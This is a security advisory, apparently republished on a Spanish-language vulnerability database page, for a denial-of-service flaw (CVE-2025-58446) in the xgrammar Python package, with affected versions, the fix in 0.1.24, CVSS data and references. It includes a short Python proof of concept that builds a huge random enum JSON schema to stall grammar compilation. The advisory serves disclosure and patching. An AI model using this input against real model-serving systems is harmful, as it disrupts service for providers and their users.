xgrammar vulnerable to denial of service by huge enum grammar
Summary
Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.
Details
Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.
Patch
This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.
Thanks to @Seven-Streams
PoC
import string
import random
def enum_schema(size=10000,str_len=10):
enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
schema = {
"definitions": {
"colorEnum": enum
},
"type": "object",
"properties": {
"color1": {
"$ref": "#/definitions/colorEnum"
},
"color2": {
"$ref": "#/definitions/colorEnum"
},
"color3": {
"$ref": "#/definitions/colorEnum"
},
"color4": {
"$ref": "#/definitions/colorEnum"
},
"color5": {
"$ref": "#/definitions/colorEnum"
},
"color6": {
"$ref": "#/definitions/colorEnum"
},
"color7": {
"$ref": "#/definitions/colorEnum"
},
"color8": {
"$ref": "#/definitions/colorEnum"
}
},
"required": [
"color1",
"color2"
]
}
return schema
schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))where:
def test_schema(schema, instance):
grammar = xgr.Grammar.from_json_schema(
json.dumps(schema),
strict_mode=True
)
return _is_grammar_accept_string(grammar, json.dumps(instance))Impact
DOS
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | xgrammar | >= 0.1.23, < 0.1.24 | 0.1.24 |
Referencias
- https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f
- https://nvd.nist.gov/vuln/detail/CVE-2025-58446
- https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27
- https://github.com/mlc-ai/xgrammar
- https://pypi.org/project/xgrammar
- https://github.com/advisories/GHSA-9q5r-wfvf-rr7f
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X- Debilidad (CWE)
CWE-770- Plataforma
- Python (PyPI)
- Paquete
xgrammar- Publicada
- 05.09.2025
- Actualizado
- 11.10.2026 15:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2055 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9q5r-wfvf-rr7f - CC BY 4.0
Historial de vulnerabilidades: xgrammar
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 4
- Primera → última
- 04.2025 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 2
Divulgaciones por año
- 2025: 3
- 2026: 1
-
xgrammar vulnerable to denial of service by huge enum grammar esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.